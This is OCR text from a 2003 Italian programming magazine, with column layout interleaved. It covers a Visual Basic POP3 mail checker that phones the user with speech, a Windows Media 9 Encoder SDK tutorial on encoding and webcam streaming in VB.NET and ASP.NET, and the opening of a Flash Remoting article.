[Link] str timer sul form è servito per l’effetto lampeggio
se è giunto il momento
Next (un semplice Visible = Not Visible della label in di controllare il server
[Link] = questione) ed infine un quarto metodo pubbli- POP3, cioè se è già tra-
[Link] - 1 co (NotifyOff) nasconde e termina il lampeggio scorso il numero di mi-
nuti indicato dall’utente,
For i = 0 To del sotto-messaggio. Giunti a questo punto, tramite il contatore cnt-
[Link] - 1 non resta altro che addentrarci nel codice forse Check.
'If ([Link](i) più importante dell’applicazione: la procedura
And 1) <> 0 Then di controllo della posta ed invio della chiama-
[Link] ta di notifica.
[Link](i)
'End If
Next IL CUORE
[Link] = DEL PROGRAMMA
[Link] Il controllo timer presente in frmTapiMailChe-
For i = 0 To cker è il principio di tutto: viene eseguito ogni
[Link] - 1 minuto e stabilisce se è giunto il momento di
[Link] controllare il server POP3, cioè se è già trascor-
[Link](i) so il numero di minuti indicato dall’utente, tra-
Next mite il contatore cntCheck. Se è così, invoca la
[Link] = procedura CheckMail, che gestisce il controllo e
[Link] la notifica. A sua volta, CheckMail verifica se è
End Sub giunto il momento di inviare un’eventuale no-
tifica via telefono (contatore cntNotify) e se è
Lo stesso codice di impostazione dei controlli così setta un flag (bNotify) utilizzato successi-
ActiveX di voice e modem lo ritrovate anche vamente, dopodiché tenta la connessione al
nel metodo Form_Load del form principale, in server POP3 utilizzando WinSock. Come ricor-
cui gli OCX vengono configurati in base alle derete, il controllo WinSock di Microsoft è asin-
eventuali informazioni lette nel registry. Per
quanto riguarda la terza maschera, quella di
Fig. 2, la mia intenzione era di avere una fine-
stra riutilizzabile con un comportamento di- Fig. 6: L'icona nel system tray quando non ci
screto e silenzioso: la soluzione più vicina a sono nuovi messaggi.

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 37
032-038 T&T 31-05-2003 9:58 Pagina 38

T E O R I A E T E C N I C A G G G G G G G G G G G G G

crono, per cui riceveremo la risposta al tentati- Una volta che la chiamata è piazzata e la voce
vo di connessione e qualunque altro dato dal elettronica inizia a leggere il messaggio, ci in-
server nell’evento DataArrival. È infatti lì che si teressano solo due possibilità: la prima è che la
sposta ora la nostra attenzione, perché lì si tro- voce termini di parlare e quindi noi disconnet-
va il resto del codice di questa fase e questa tiamo la telefonata (evento SpeakingDone di
asincronicità è anche il motivo per il quale TextToSpeech), la seconda è che invece sia l’u-

Sistema
dobbiamo fare ricorso a flag globali quali bNo- tente ad attaccare il telefono prima che la voce
tify menzionato poc’anzi – essi, essendo globa- termini, nel quale caso noi interrompiamo la
li, ci consentono di passare informazioni tra il voce (evento Disconnected di ModemPhone).
normale flusso d’esecuzione dell’applicazione E con questo l’applicazione ha terminato il suo
TAPI Mail ed il flusso asincrono iniziato dal socket. Di lavoro, fermo restando il ricominciare tutto da
Checker: il PC queste variabili di passaggio una molto impor- capo al prossimo scadere del tempo scelto nel
ci telefona! tante è popState, che mantiene lo stato conver- form di configurazione!
sazionale con il server di posta, permettendoci
così di gestire le varie fasi della comunicazione
secondo il protocollo POP3 (vedi box Il proto- RINGRAZIAMENTI
collo POP3): a seconda del comando inviato al E RACCOMANDAZIONI
gestore dell’email, la variabile conterrà un va- L’applicazione fornita insieme all’articolo è un
lore diverso, di modo che nel metodo DataAr- punto di partenza dal quale possono nascere
rival, consultando tale valore, siamo in grado cose molto interessanti, complesse e creative:
di interpretare correttamente la risposta del spero che vi serva da stimolo per approfondire
server. Dopo le formalità di connessione ed au- la conoscenza degli argomenti cui abbiamo ac-
tenticazione (stati POP3_Connect, POP3_USER cennato, e soprattutto per creare qualcosa di
e POP3_PASS), si entra nel vivo della procedu- più utile per voi stessi.
ra. Se con il comando STAT scopriamo che ci Durante lo sviluppo di questo progetto natu-
sono dei messaggi nella casella email scelta ralmente mi sono avvalso di innumerevoli fon-
dall’utente, viene aperta la finestra di messag- ti ed aiuti: un ringraziamento speciale ai grafi-
gio frmMessage con un’indicazione adeguata. ci delle edizioni Master che hanno creato le ico-
Inoltre viene verificato il valore del flag di no- ne utilizzate per il tray e per l’applicazione –
tifica bNotify, perché se è True significa che sono molto carine, vero? Poi devo molto al pro-
SpokenMsg
La variabile spoken-
dobbiamo anche effettuare una chiamata per getto allegato a questo link: [Link]
Msg deve essere leggere l’oggetto dei vari messaggi. .com/winsock/winsock_mail_checker_01.asp, per-
globale perché anche ché contiene la classe CMessage che mi ha ri-
l’oggetto ModemPhone
sparmiato molta codifica a mano per il parsing
funziona in modo asin-
crono e ci avverte che la dei messaggi SMTP.
telefonata è stata inol- Al link indicato trovate un interessante artico-
Fig. 7: L'icona nel system tray quando sono
trata con l’evento Con- lo su come consultare un server di posta e link
presenti nuovi messaggi sul server.
nected, nel cui codice fa-
ad articoli precedenti che spiegano brevemen-
remo in modo che venga
“letto” il messaggio sulla Quindi, se non è necessario notificare l’utente, te, ma in maniera chiara, il protocollo POP3 e il
connessione telefonica. viene chiusa subito la comunicazione con il formato dei messaggi SMTP.
server e il nostro compito, per questa volta, è Infine, un tale “MidiSurf 1999 audioware@hot-
terminato. In caso contrario, inviamo una se- [Link]” ha scritto una classe per aggiungere
quenza di RETR per recuperare tutti i messag- funzionalità di accesso al system tray in pro-
gi presenti e memorizzarli in una collection getti Visual Basic ed io l’ho utilizzata come ba-
personalizzata (CMessages). se per il mio codice (pur stravolgendo un po’
Fatto questo, componiamo una stringa (spoken- l’obiettivo originale dell’autore!): il file di que-
Msg) con il messaggio d’avviso da “leggere” sta classe non è utilizzato nel progetto di que-
via telefono: per ogni email sono indicati all’u- sto articolo, ma è comunque presente sul CD
tente il mittente e l’oggetto. qualora foste curiosi di studiarlo un po’.
La variabile spokenMsg deve essere globale per-
ché anche l’oggetto ModemPhone funziona in
modo asincrono e ci avverte che la telefonata è CONCLUSIONI
stata inoltrata con l’evento Connected, nel cui Ed anche per questa volta siamo arrivati al ter-
codice faremo in modo che venga “letto” il mine: fateci sapere se portate avanti lo svilup-
messaggio sulla connessione telefonica (meto- po del progetto e apportate delle migliorie o
do Speak di TextToSpeech): quindi la stringa da modifiche che volete condividere con noi.
leggere viene creata in sck_DataArrival, ma vie- A presto!
ne passata al voice engine in phone_Connected. Federico Mestrone

38 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
040-044 Streaming 31-05-2003 10:02 Pagina 40

T E O R I A E T E C N I C A G G G G G G G G G G G G G

✓ Creare applicazioni multimediali con Media 9 Series SDK


La TV in una pagina
WEB? Ora è possibile!
Multimedia In questo articolo analizzeremo nostre applicazioni:
gli strumenti messi a disposizione
dalle librerie Windows Media 9 • Microsoft Windows Media Encoder 9 Series
• Microsoft Windows Media Encoder 9 Series SDK
per creare applicazioni che
• Microsoft Windows Media Player 9
effettuino il broadcast di
contenuti audio/video su Analizziamo in dettaglio i suddetti componenti:
internet. Impareremo a
comprendere quali componenti Microsoft Windows Media Encoder 9 Series
sono necessari per ottenere un rappresenta l’encoder di base, che permette di cattu-
rare contenuti Audio/Video, salvandoli su supporto
broadcast di contenuti catturati
fisico o effettuandone la pubblicazione, mediante
da una WebCam e come si possa broadcasting. Questo componente rappresenta, di fat-
effettuare la trasmissione di to, il cuore del sistema di codifica e permette di sele-
contenuti serializzati sul disco, zionare più sorgenti audio/video ed altrettante desti-
per esempio di un file MP3. nazioni. E’ possibile, ad esempio, effettuare un broad-
casting di una riunione aziendale, oppure diffondere
notizie sul traffico o semplicemente musica.
Microsoft Windows Media Encoder 9 Series SDK
File sul CD

A
lzino la mano quanti di voi non hanno mai questo SDK permette a sviluppatori C++, Visual Basic
\soft\codice\[Link] pensato ad una televisione i cui contenuti sia- 6.0, Visual Basic Script, di catturare contenuti multi-
no distribuiti su internet… la trasmissione di mediali codificandoli in un file Windows Media o in
File sul Web contenuti multimediali su Internet, e più in generale uno stream. L’SDK si compone di un certo numero di
[Link]/ su di una rete LAN/WAN, è da sempre uno degli ar- Dinamic Link Library, di un help esaustivo e di un
ioProg71/[Link] gomenti che riscuote la maggiore curiosità tra profes- congruo numero di esempi. Questa tecnologia può es-
sionisti e hobbisti dell’informatica. Il punto dolente è sere impiegata per scopi di sorveglianza, monitorag-
sempre stato rappresentato, e comunque lo sarà anco- gio del traffico, broadcasting di informazioni, video-
ra per un po’ di tempo, dalla povertà di larghezza di conferenze e quant’altro abbia a che fare con la cattu-
banda, che inficia la godibilità di un contenuto au- ra e la diffusione o il salvataggio di un contenuto au-
dio/video trasmesso in streaming. Oggi però, grazie dio/video.
Windows Media all’aumento di banda con le connessioni ADSL, l’at- Microsoft Windows Media Player 9
La tecnologia Win- tenzione riservata ai mezzi telematici è salita, facendo penso che il Windows Media Player non necessiti di
dows Media è molto
innalzare anche le aspettative degli utenti, che ora co- presentazioni. Esso rappresenta il dispositivo propo-
vasta ed interessante e
per di più è divertente! minciano a desiderare di avere a disposizione dei con- sto da Microsoft per la consumazione di contenuti
Sul sito tenuti multimediali fruibili su internet. Poteva Micro- multimediali su PC, siano essi dei CD musicali, video
[Link] soft restare a guardare? Certo che no! Ecco allora che o contenuti streamed.
potrete trovare spunti
interessanti per le vostre
da poco Microsoft ha rilasciato Windows Media 9 Se-
applicazioni. Questo è ries SDK, che continuando la strada del suo predeces-
inoltre il sito di riferi- sore, promette meraviglie. WINDOWS MEDIA
mento per scaricare SDK
e documentazione varia.
ENCODER 9
Il primo componente che esaminiamo è forse anche il
Per un’introduzione più
COS’E WINDOWS MEDIA 9 più interessante dal punto di vista della programma-
“commerciale” sulla tec- SERIES SDK? zione. Windows Media Encoder (WME) infatti si occu-
nologia Windows Media
Windows Media Series 9 SDK (WMSDK) è un softwa- pa di codificare i contenuti multimediali in file, oppu-
andate all’indirizzo
[Link] re development kit utilizzabile da chiunque voglia re i stream che possono essere distribuiti o inviati ad
media realizzare un’applicazione basata sulla tecnologia un Windows Media Server, che funziona da centrale
Windows Media. Si possono individuare diversi com- di distribuzione dei contenuti.
ponenti all’interno di WMSDK, tre dei quali sono Alcune delle novità più significative che si possono
quelli che impiegheremo e analizzeremo per creare le trovare in WME9 sono:

40 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
040-044 Streaming 31-05-2003 10:02 Pagina 41

E E E E E E E E E E E E E T E O R I A E T E C N I C A

• Miglioramenti a livello di codifica, incluso il sup- è di tipo COM e quindi deve essere generato un wrap-
porto di bit-rate multipli (MBR) e bit-rate variabili per di interoperabilità per permetterne l’impiego in
(VBR) e supporto di sorgenti multicanale; ambiente .net. Visual Studio fa tutto questo per noi,
• Possibilità di effettuare pushing di stream su un impiegando lo strumento a riga di comando tlbimp.
Server Windows Media; exe, in maniera del tutto trasparente per l’utente. Nel-
• Possibilità di limitare la grandezza dei file codifi- la directory bin del nostro progetto, infatti, si potrà tro-
cati decidendone durata o dimensione; vare una dll di nome [Link] che
• Post-produzione di file migliorata ed arricchita rappresenta appunto il wrapper per effettuare le chia-
con possibilità di includere script, indici e marca- mate dal “mondo managed” al “mondo COM”. La-
tori; scio a voi la disamina della creazione dei vari control- Multimedia
• Possibilità di creare trasformazioni audio/video li della nostra applicazione di codifica, in quanto li ri-
grazie al nuovo modello basato su plug-in. tengo abbastanza banali e non significativi dal punto La TV
di vista dello studio della tecnologia Windows Media. in una pagina WEB?
La prima cosa che dovremo fare, sarà installare questo Soffermiamoci piuttosto sull’evento collegato alla Ora è possibile!
componente nel nostro computer. Il file autoinstallan- pressione del tasto “Codifica”. All’interno di questa
te si può scaricare dal sito [Link] [Link] e si routine si creano gli oggetti necessari alla codifica del
chiama [Link]. Dopo l’installazione, nella di- nostro file. Come prima cosa esaminiamo la prima
rectory C:\Programmi\Windows Media Components parte del listato della routine:
\Encoder troveremo dei programmi di utilità molto in-
teressanti con i quali potrete effettuare delle prove di Dim WithEvents Encoder As [Link]
.NET e
codifica e broadcasting. Tra i programmi installati si ...
Interoperabilità
possono individuare: Encoder = New [Link] In tutto l’articolo so-
‘ Retrieve the source group collection and add a source group. no state create di-
• Wmenc: è la console principale grazie alla quale è Dim _sourceGroupCollection As verse applicazioni .net
che sfruttano DLL COM e
resa possibile la creazione di sessioni di codifica, [Link]
componenti ActiveX. Uno
broadcasting e salvataggio di contenuti. Possiamo _sourceGroupCollection = [Link] dei punti di forza di .net è
definirla interfaccia standard del motore di codifi- 'Aggiungo una sorgente multimediale proprio il supporto del
ca dell’encoder di base. Dim _sourceGroup As WMEncoderLib.IWMEncSourceGroup2 mondo COM tramite la co-
siddetta interoperabilità.
• WmEditor: permette di editare gli attributi di un _sourceGroup = _sourceGroupCollection.Add("SG_1")
Grazie all’impiego di Vi-
file Windows Media. Grazie alla semplice inter- 'Aggiungo la sorgente audio al gruppo SG_1 appena creato sual [Link], inoltre,
faccia è possibile editare, dopo la produzione, le Dim _sourceAudio As IWMEncAudioSource l’import delle DLL COM e
caratteristiche di un file multimediale. _sourceAudio = _sourceGroup.AddSource( dei componenti risulta
essere del tutto traspa-
• WmProEdt: questa utilità permette di creare,mo- WMENC_SOURCE_TYPE.WMENC_AUDIO)
rente dal punto di vista
dificare e salvare profili di codifica. Un profilo di 'Imposto il file da codificare dello sviluppatore. Pen-
codifica definisce il bitrate, il tipo di codifica e il _sourceAudio.SetInput([Link]) sate a quanto codice riu-
formato secondo il quale il file verrà compresso ed ... scirete a riutilizzare me-
diante l’interoperabilità…
inviato al client “consumatore”. a patto di averlo svilup-
In questa parte della routine si crea l’oggetto encoder, pato ad oggetti, s’in-
Oltre alle utilità sopraccitate, vengono installati anche precedentemente definito WithEvents a livello di tende!
altri file, tra i quali diversi file di help, molto chiari ed Form, e si impostano le sorgenti per la codifica, che nel
esaustivi. nostro caso sono soltanto una, rappresentata da un fi-
le MP3. Nelle ultime due righe si imposta il tipo di co-
difica come audio e si collega la sorgente al percorso
SDK E AUTOMAZIONE del file che abbiamo scelto nella nostra textbox. Media Player 9
Il Windows Media Encoder SDK (WME/SDK) permette L’ultima versione di
Windows Media Pla-
di utilizzare tutta la potenza dei meccanismi di codifi- ...
yer è ancora più ricca e
ca contenuti nel WME nelle nostre applicazioni. 'Scelgo un profilo di codifica potente della precedente,
Vedremo ora come poter impiegare l’SDK per codifi- Dim _profileCollection As IWMEncProfileCollection includendo nuove featu-
care un file MP3 in un file WMA. L’applicazione verrà Dim _profile As IWMEncProfile res. Anche per Media
Player 9 è disponibile un
scritta in [Link], pertanto spiegheremo brevemente Dim _i As Integer
SDK che permette la per-
anche come funziona l’interoperabilità con COM, vi- Dim _length As Long sonalizzazione totale del
sto che la libreria di codifica che andremo ad utilizza- _profileCollection = [Link] dispositivo, compresa la
re non è una dll “managed”. Cominciamo con il crea- _length = _profileCollection.Count spiegazione di come crea-
re delle skin personaliz-
re una Windows Application [Link] con Visual Stu- For Each _profile In _profileCollection
zate.
[Link]. La prima cosa che dovremo fare una volta If _profile.Name = "Windows Media Audio 8 for ISDN
creato il progetto, sarà di aggiungere un riferimento (Better than CD quality, 128 Kbps)" Then
alla libreria “Windows Media Encoder”, registrata du- _sourceGroup.Profile = _profile
rante l’installazione del WME. Vorrei che poneste la End If
vostra attenzione sul fatto che la libreria in questione Next

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 41
040-044 Streaming 31-05-2003 10:02 Pagina 42

T E O R I A E T E C N I C A G G G G G G G G G G G G G

'Specifico un nome file nel quale salvare i dati codificati po ne è passato un po’. In inglese broadcast significa
Dim _File As IWMEncFile trasmissione ed il broadcasting è l’azione mediante la
_File = [Link] quale si trasmettono dei contenuti, audio o video, da
_File.LocalFileName = [Link] un provider ad una serie di client che possono acce-
[Link](0).Text = "Codifica in corso..." dere ai servizi offerti dal provider. Due esempi illumi-
'Comincio la codifica nanti possono essere rappresentati dalla televisione di
[Link]() Stato, che effettua un broadcasting di contenuti au-
dio/video captabili grazie ad un’antenna “terrestre”,
ovvero ad un’antenna che possa ricevere le trasmis-
Multimedia sioni provenienti da un network terrestre, e la pay-tv,
la quale trasmette via satellite e per ricevere la quale è
La TV necessaria un’antenna (parabola) satellitare, nonché
in una pagina WEB? un decoder. Tutta questa premessa per arrivare dove?
Ora è possibile! Anche con Windows Media possiamo effettuare un
Fig. 1: La nostra applicazione per la codifica di file
audio MP3. broadcasting di contenuti e con la prossima applica-
zione vedremo come effettivamente rendere disponi-
Nella seconda parte del listato si sceglie per prima co- bile lo stream audio/video proveniente da una sem-
sa il profilo di codifica da utilizzare, ovvero in che mo- plice webcam su una pagina [Link], esposta su in-
do l’oggetto encoder tratterà i dati provenienti dalla ternet. Prima però voglio spendere due parole e spie-
sorgente. Questo è un passo estremamente importan- gare cosa Windows Media mette a disposizione per
te, in quanto bisogna avere ben chiaro il risultato che pubblicare contenuti “live”. Nella precedente applica-
si vuole ottenere. I vari profili di codifica disponibili, zione, abbiamo visto che è possibile registrare una sor-
ai quali ne possono essere aggiunti anche di persona- gente e, con un profilo di codifica, comprimere il se-
lizzati, offrono diversi risultati, ed in caso di streaming gnale; l’output è stato salvato su disco. Nel caso del
su internet o LAN devono essere scelti con oculatezza. broadcasting, l’unica cosa che cambia è l’output, che
L’ultimo passo che si deve intraprendere prima di av- non deve essere un file, ma una determinata porta su
viare la codifica è l’impostazione del file di destina- un indirizzo IP, che nella nostra applicazione coinci-
zione, che abbiamo scelto in precedenza nella textbox derà con [Link], ovvero con l’indirizzo di loopback
della nostra applicazione. Un’ultima osservazione si della nostro PC. Creiamo dunque la nostra Windows
può fare a proposito della gestione ad eventi dell’og- Application di nome WebcamBroadcast e rendiamola
.NET e la getto encoder, che è stata utilizzata per notificare all’u- capace di trasmettere le immagini ed i suoni captati
filosofia Mobile tente l’avvenuto successo della codifica. dalla nostra webcam (tipo Grande Fratello, per inten-
Tutto ciò che abbia-
mo visto per il mon- derci)… alla faccia della privacy!! Come già fatto in
do desktop vale anche Private Sub Encoder_OnStateChange(ByVal enumState precedenza, aggiungiamo la stessa COM reference al
per il mondo mobile… As WMEncoderLib.WMENC_ENCODER_STATE) Handles nostro progetto, e dopo aver creato una form in stile
ovvero grazie al compact
[Link] Service Manager di SQL Server, andiamo ad analizza-
.net Framework ed alle
ultime versioni di Win- If enumState = WMENC_ENCODER_STATE.WMENC_ re il codice. Tralasciando la creazione dei controlli, fo-
dows Media Player per ENCODER_ RUNNING Then calizziamo la nostra attenzione sul codice che viene
dispositivi Portatili, sarà
[Link](0).Text = "Codifica in corso..." eseguito alla pressione del tasto btnStartEncoding.
possibile ricevere conte-
nuti multimediali diret- ElseIf enumState = WMENC_ENCODER_STATE.WMENC_ Come possiamo vedere, il codice non è molto diverso
tamente sul nostro Poc- ENCODER_PAUSED Then da quello impiegato per la codifica del file. Le diffe-
ket PC o sul nostro (fu- [Link](0).Text = "Codifica interrotta!" renze possono essere analizzate per punti:
turo) telefono UMTS.
ElseIf enumState = WMENC_ENCODER_STATE.WMENC_
ENCODER_STOPPED Then • Creo una video source oltre che un audio source,
[Link]("Codifica completata!") perché i contenuti da codificare sono audio/vi-
[Link](0).Text = "" deo.
Else • Imposto la sorgente audio/video a DEVICE:// De-
End If fault_Video_Device e DEVICE://Default_Audio_De-
End Sub

Per concludere, questa prima piccola applicazione ci


ha permesso di conoscere un po’ la struttura e le mo-
dalità impiegate per codificare un file audio MP3 e
salvarlo in una posizione nel nostro disco.

BROADCASTING…
CHI ERA COSTUI? Fig. 2: La nostra applicazione Webcam
In principio fu Guglielmo Marconi… ma forse di tem- Broadcasting.

42 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
040-044 Streaming 31-05-2003 10:03 Pagina 43

E E E E E E E E E E E E E T E O R I A E T E C N I C A

vice. Questa notazione significa: utilizza i dispositi- applicazione non produce effetti “tangibili”. Come fa-
vi di cattura audio /video impostati nel pannello di con- re per ricevere il flusso audio/video? Semplice, apria-
trollo. mo Windows Media Player 9 e alla voce di menu Apri
• Imposto un riferimento alla proprietà Broadcast URL (o Open URL, se MP è in inglese) puntiamo al-
dell’oggetto Encoder, e successivamente ne impo- l’indirizzo [Link] 1234, in cui [Link] è l’in-
sto il valore della porta, che deve essere una porta dirizzo del computer locale (localhost), detto anche in-
libera, diversa cioè dalle porte ben conosciute dirizzo di loopback e 1234 è la porta sulla quale abbiamo
(80,21,8080 etc.) deciso di pubblicare i contenuti. Se foste tra i fortuna-
ti possessori di due computer in rete, potreste anche
Quando verrà premuto il tasto StartEncoding, si co- vedere la stessa cosa da un computer diverso da quel- Multimedia
mincerà l’invio di uno stream audio/video alla porta lo che si occupa della codifica, modellando così una
prescelta del computer locale. vera rete Client/Server multimediale. Quindi se avre- La TV
te l’opportunità di provarlo, magari in ufficio dove in una pagina WEB?
'Creo l'oggetto Encoder, responsabile della codifica dell avete più computer, potrete crearvi una piccola televi- Ora è possibile!
flusso audio/video. sione privata!! La cosa più interessante, però, sarebbe
Encoder = New [Link] quella di creare una piccola applicazione server, in
'Leggo la collection dei gruppi di sorgenti audio/video modo che venisse più o meno “celato” il meccanismo
Dim _sourceGroupCollection As “pull” dei contenuti tramite Media Player.
[Link] Rimbocchiamoci le maniche!
_sourceGroupCollection=[Link]
'Aggiungo una sorgente multimediale WME SDK
Dopo aver installato
Dim _sourceGroup As WMEncoderLib.IWMEncSourceGroup2
WME, installiamo an-
_sourceGroup = _sourceGroupCollection.Add("SG_1") che WME /SDK, scarican-
'Aggiungo la sorgente audio al gruppo SG_1 appena creato do anche quest’ultimo da
Dim _sourceVideo As IWMEncVideoSource [Link]
(lo troverete come file
_sourceVideo = _sourceGroup.AddSource(
autoinstallante con nome
WMENC_SOURCE_TYPE.WMENC_VIDEO) [Link]).
Dim _sourceAudio As IWMEncAudioSource Nella directory C:\ WM-
_sourceAudio = _sourceGroup.AddSource( SDK\WMEncSDK9 si tro-
veranno una serie di
WMENC_SOURCE_TYPE.WMENC_AUDIO)
esempi e l’help, conte-
'Imposto l'imput audio/video nente informazioni molto
_sourceVideo.SetInput("DEVICE://Default_Video_Device") interessanti.
_sourceAudio.SetInput("DEVICE://Default_Audio_Device")
'Scelgo un profilo di codifica
Dim _profileCollection As IWMEncProfileCollection
Fig. 3: Media Player 9 alle prese con il nostro
Dim _profile As IWMEncProfile
flusso.
Dim _i As Integer
Dim _length As Long
_profileCollection = [Link] MEDIAPLAYER TELEVISION
_length = _profileCollection.Count Creiamo una semplicissima applicazione web [Link]
For Each _profile In _profileCollection che permetta alle persone di collegarsi ad un sempli- [Link]
User Group Italia
If _profile.Name = "Windows Media Video 8 for Local ce sito (che nel nostro caso sarà [Link] e
.Net
Area Network (384 Kbps)" Then fruire dei contenuti audio video real time. Appena [Link]
_sourceGroup.Profile = _profile aperto Visual [Link] impostiamo la creazione di
End If un progetto Applicazione Web [Link] e non appena è una comunità no-profit
esclusivamente dedicata
Next il wizard ha finito di creare i file, rinominiamo la web
al mondo .net. Sono pre-
'Creo un riferimento al broadcast form WebForm1 in [Link]. Analizzeremo senti vari forum dove si
Dim _Broadcast As IWMEncBroadcasta ora la possibilità di inserire Windows Media Player 9 trattano i vari argomenti
_Broadcast = [Link] in una pagina aspx. Media player 9 è un componente del mondo .net e dove
tutti gli utenti sono alla
_Broadcast.PortNumber(WMENC_BROADCAST_PROTOC ActiveX e può essere agevolmente inserito in una pa- pari. Qui è possibile tro-
OL.WMENC_PROTOCOL_HTTP) = [Link]([Link]) gina html grazie al tag OBJECT. Vediamo un esempio: vare risposte alle proprie
[Link](0).Text = "Trasmissione in corso..." domande, e spesso ci po-
'Comincio la trasmissione <OBJECT ID="MyPlayer" trete trovare anche il
sottoscritto!
[Link]() CLASSID="CLSID:6BF52A52-394A-11d3-B153-
00C04F79FAA6">
<PARAM name="autoStart" value="True">
OPERATORE! NON VI </OBJECT>
RICEVIAMO MOLTO BENE…
Fin qui, tutto questo è molto interessante, ma la nostra Gli oggetti ActiveX inseriti in pagine web possono

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 43
040-044 Streaming 31-05-2003 10:05 Pagina 44

T E O R I A E T E C N I C A G G G G G G G G G G G G G

contenere uno o più parametri che rappresentano le dice delle applicazioni all’interno del CD. Specifichia-
proprietà con le quali viene inizializzato il controllo. mo solo che se cambiate porta di pubblicazione, ovve-
Nell’esempio riportato sopra il significato del para- ro non impiegate la 1234, ricordatevi di cambiare la
metro autostart è quello di far partire in modo auto- porta specificata nel parametro URL dell’oggetto Me-
matico la riproduzione dei contenuti collegati al no- dia Player.
stro player. Riporto una tabella con i parametri più
frequentemente utilizzati:

Parametro Descrizione Valori


Multimedia autoStart La riproduzione dei contenuti
inizia appena possibile
True/False

uiMode Imposta l’aspetto invisibile,


La TV dell’interfaccia di Media Player none, mini,
in una pagina WEB? full, custom
Ora è possibile! url Imposta l’indirizzo del [Link]
contenuto da visualizzare
volume Imposta il volume dell’audio Intero
intervallo Fig. 5: WinMPTVPlayer all’ opera!
0-100
fullScreen Imposta la riproduzione a True/False
tutto schermo SOLO WEB?
Per “par condicio” siamo obbligati a dimostrarvi che
Per tutti gli altri parametri (e sono molti!!) vi invito a la nostra MediaPlayer Television può essere ricevuta
dare un’occhiata al Media Player SDK. Ritornando al- anche da una applicazione Windows Forms. Svilup-
la nostra applicazione, la pagina [Link] piamo quindi una semplicissima applicazione Win-
ospiterà un controllo ActiveX Media Player con dei dows Forms, che battezziamo WinMPTVPlayer, e ag-
parametri. Il codice lo vediamo riportato di seguito: giungiamola alla soluzione mptv che contiene già la
nostra applicazione web. Andiamo da subito all’inter-
<OBJECT ID="MyPlayer" classid="CLSID:6BF52A52- no della finestra Tools, che contiene i controlli Win-
394A-11d3-B153-00C04F79FAA6" dows Forms ed aggiungiamo un riferimento al con-
VIEWASTEXT width="320px" height="240px"> trollo ActiveX Windows Media Player. Visual Studio
<PARAM NAME="URL" VALUE="[Link] creerà per noi due reference (AxWMPLib e WMPLib)
<PARAM NAME="autoStart" VALUE="-1"> per effettuare l’interoperabilità con COM, perché ri-
Dubbi? <PARAM NAME="volume" VALUE="50"> cordiamoci che il Windows Media Player è un con-
Proposte? <PARAM NAME="uiMode" VALUE="none"> trollo ActiveX, quindi COM!! A questo punto, aggiun-
Parliamone! <PARAM NAME="stretchToFit" VALUE="-1"> giamo all’evento Load della nostra form l’impostazio-
Se vorrete dei chia-
<PARAM NAME="windowlessVideo" VALUE="0"> ne del solito URL ([Link] e compiliamo
rimenti, dei riferi-
menti o desiderate veder <PARAM NAME="enabled" VALUE="-1"> il tutto. Se abbiamo lasciato in trasmissione la nostra
trattati degli argomenti <PARAM NAME="enableContextMenu" VALUE="-1"> applicazione server che cattura il flusso dalla webcam,
piuttosto che altri, non
<PARAM NAME="fullScreen" VALUE="0"> dopo pochi secondi dalla comparsa della form, co-
esitate a scrivermi all’in-
dirizzo </OBJECT> minceremo a vedere le immagini. Abbiamo quindi vi-
sto come, sia da un’applicazione Web che da un’ap-
senax@[Link]. Oltre al codice per effettuare l’embedding del control- plicazione Win32 “classica”, sia possibile prendere vi-
lo ActiveX nella pagina, abbiamo scritto anche una sione dei contenuti audio/video a noi forniti da
piccola funzione per portare a tutto schermo la ripro- un’applicazione server di cattura.
duzione del filmato. La troverete insieme a tutto il co-

CONCLUSIONI
In questo articolo abbiamo fatto una panoramica del-
le possibilità offerte dalla tecnologia Windows Media
ed abbiamo creato varie piccole applicazioni che con
poco sforzo hanno garantito dei risultati di grande ef-
fetto. Vale la pena approfondire la conoscenza della
tecnologia Windows Media? Secondo il sottoscritto sì,
perché nell’immediato futuro le applicazioni nel cam-
po dell’informazione e dell’intrattenimento saranno
moltissime. Basta pensare ai telefoni UMTS o ai pal-
mari, che saranno in grado di ricevere gli stream che
abbiamo creato nelle nostre esercitazioni.
Alla prossima!
Fig. 4: La nostra Web Television! Ing. G. Davide Senatore

44 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
046-051 Flash 31-05-2003 10:07 Pagina 46

T E O R I A E T E C N I C A G G G G G G G G G G G G G

✓ Client Server: Rich Internet Application


Flash Remoting,
istruzioni per l’uso
Flash
Con Actionscript e Flash gli aspetti del Flash Remoting in pochi punti:
Remoting, il dialogo fra Flash
• lo sviluppatore non deve più preoccuparsi di ge-
MX e Database diventa più
stire complessi data types grazie all’introduzione
semplice. Scopriamo come! dell’oggetto Recordset in ActionScript;
• disponibilità di strumenti di debug per le applica-
zioni;
• l’oggetto DataGlue permette di formattare e colle-
File sul CD

L’
era del web statico è decisamente finita da un gare i dati ricevuti ai componenti dell’intefaccia
\soft\codice\ pezzo. Le applicazioni web offrono sempre grafica;
remoting_sourcefiles.zip
più agli utenti contenuti ricchi e dinamici che • i filmati Flash possono nativamente invocare fun-
permettono di acquistare prodotti, fare ricerche sem- zioni e metodi di Componenti Coldfusion, Java-
File sul Web pre più precise, metodi di pagamento sempre più si- Beans e classi Java, EJB, classi .NET e WebServi-
[Link]/ioprog71/ curi. Purtroppo i modelli di presentazione di questi ces.
remoting_sourcefiles.zip
contenuti rimangono ancora legati alle vecchie tecno-
logie (HTML, DHTML, linguaggi client-side). Proble- Tutto questo apre la strada agli sviluppatori per poter
mi di incompatibilità tra differenti versioni di brow- progettare applicazioni che interagiscono con databa-
ser, tra piattaforme e sistemi operativi obbligano lo se, eseguire qualsiasi tipo di operazione sui file e sul
sviluppatore ad utilizzare interfacce utente povere e server, spedire e ricevere mail attraverso l’ambiente
quasi mai ottimizzate per una navigazione rapida e ormai ben noto di Flash MX.
semplice. Con l’uscita di Macromedia Flash le cose so-
no cominciate a cambiare. La maturità del program-
ma, la larga diffusione del player, la potenza del lin- FLASH REMOTING:
Cosa serve guaggio ActionScript hanno contribuito all’avvento ISTRUZIONI PER L’USO
